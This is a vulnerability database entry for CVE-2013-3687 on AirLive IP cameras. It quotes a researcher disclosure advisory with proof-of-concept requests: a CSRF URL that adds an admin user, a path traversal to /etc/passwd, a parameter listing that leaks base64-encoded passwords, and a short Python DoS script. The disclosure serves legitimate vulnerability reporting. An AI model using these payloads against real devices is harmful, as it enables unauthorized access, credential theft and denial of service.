ID

VAR-201310-0205

CVE

CVE-2013-3687

TITLE

plural AirLive Vulnerabilities in which important information is obtained in products

DESCRIPTION

AirLive POE2600HD, POE250HD, POE200HD, OD-325HD, OD-2025HD, OD-2060HD, POE100HD, and possibly other camera models use cleartext to store sensitive information, which allows attackers to obtain passwords, user names, and other sensitive information by reading an unspecified backup file. Airlive IP Camera is an IP camera device. Multiple Airlive IP Cameras are prone to an information-disclosure vulnerability. Information obtained will aid in further attacks. =========================================================================== AIRLIVE ==================================================================== =========================================================================== 1.Advisory Information Title: Airlive Multiple Vulnerabilities Date Published: 12/06/2013 Date of last updated: 12/06/2013 2.Vulnerability Description Multiple vulnerabilities have been found in this devices: -CVE-2013-3540. Cross Site Request Forgery(CWE-352) and Clickjacking(CAPEC-103) -CVE-2013-3541. Relative Path Traversal(CWE-23). -CVE-2013-3686. Information Exposure(CWE-200) and Permissions, Priveleges and Access Controls(CWE-264) -CVE-2013-3687. Clear Text Storage of Sensitive Information(CWE-312) -CVE-2013-3691. Denial of Service 3.Affected Products CVE-2013-3541, CVE-2013-3686, the following product is affected: WL2600CAM CVE-2013-3540, CVE-2013-3687, the following products are affected: POE2600HD, POE250HD, POE200HD, OD-325HD, OD-2025HD, OD-2060HD, POE100HD. It\x92s possible others models are affected but they were not checked. 4.PoC 4.1.Cross Site Request Forgery (CSRF) CVE-2013-3540 CSRF via GET method. Targeted attack to any administrator. A malicious user can try targeted attacks by sending a special CSRF vector. This allows you to manipulate web interface parameters. In the following example we will make a vector to create an alternative user with administration credentials. _____________________________________________________________________________ http://xx.xx.xx.xx/cgi-bin/admin/usrgrp.cgi?user=test1&pwd=test1&grp=administrator&sgrp=ptz&action=add&redirect= _____________________________________________________________________________ 4.2.Relative Path Traversal CVE-2013-3541, Transversal Path that\x92s allow you to read file system configuration. _____________________________________________________________________________ http://xx.xx.xx.xx/cgi-bin/admin/fileread?READ.filePath=../../../../etc/passwd _____________________________________________________________________________ 4.3.Sensitive Information Exposure + Privilege Escalation CVE-2013-3686, Sensitive Exposure of sensitive data by writing the following URL _____________________________________________________________________________ http://xx.xx.xx.xx/cgi-bin/operator/param?action=list&group=General.UserID _____________________________________________________________________________ We can decode Admin password (base64). You can open with any text editor and look for user's information for example, passwords, users and so on. 4.5.Denial of Service (DoS) Use CVE-2013-3691, DoS by overbuffing path \x91/\x92. A request with a large number of \x91a\x92 can take down the http service from the camera device. _____________________________________________________________________________ Request: http://xx.xx.xx.xx/[a*3000] _____________________________________________________________________________ You will get the next message, Conexion has been reset. After remove de adds and refresh it you will get the next message, Can't Connect It will be down for around 2min but if we are doing the request once and again each 1min for example, the camera won\x92t recuperate ever itself The following Python script could be used to test the DoS: _____________________________________________________________________________ @ request = 'GET /' + \x91A\x92 * 3000 + '.html HTTP/1.0\r\n' @ s = socket.socket() @ s.connect((cam_ip, 80)) @ s.send(request) @ response = s.recv(1024) @ s.close() _____________________________________________________________________________ 5.Credits -CVE-2013-3541 was discovered by Eliezer Varad\xe9 Lopez, Javier Repiso S\xe1nchez and Jon\xe1s Ropero Castillo. -CVE-2013-3691 was discovered by Javier Repiso S\xe1nchez and Jon\xe1s Ropero Castillo -CVE-2013-3540, CVE-2013-3686, CVE-2013-3687 was discovered by Jon\xe1s Ropero Castillo. 6.Report Timeline -2013-05-31: Students team notifies the Airlive Customer Support of the vulnerabilities. No reply received. -2013-06-03: Students asks for a reply. -2013-06-05: Airlive team reports to the technical support to analyze the vulnerabilities

IOT TAXONOMY

AFFECTED PRODUCTS

CVSS

PROBLEMTYPE DATA

THREAT TYPE

remote

TYPE

encryption problem

CONFIGURATIONS

PATCH

EXTERNAL IDS

REFERENCES

CREDITS

JonAis Ropero Castillo

SOURCES

LAST UPDATE DATE

2025-04-11T22:24:56.548000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE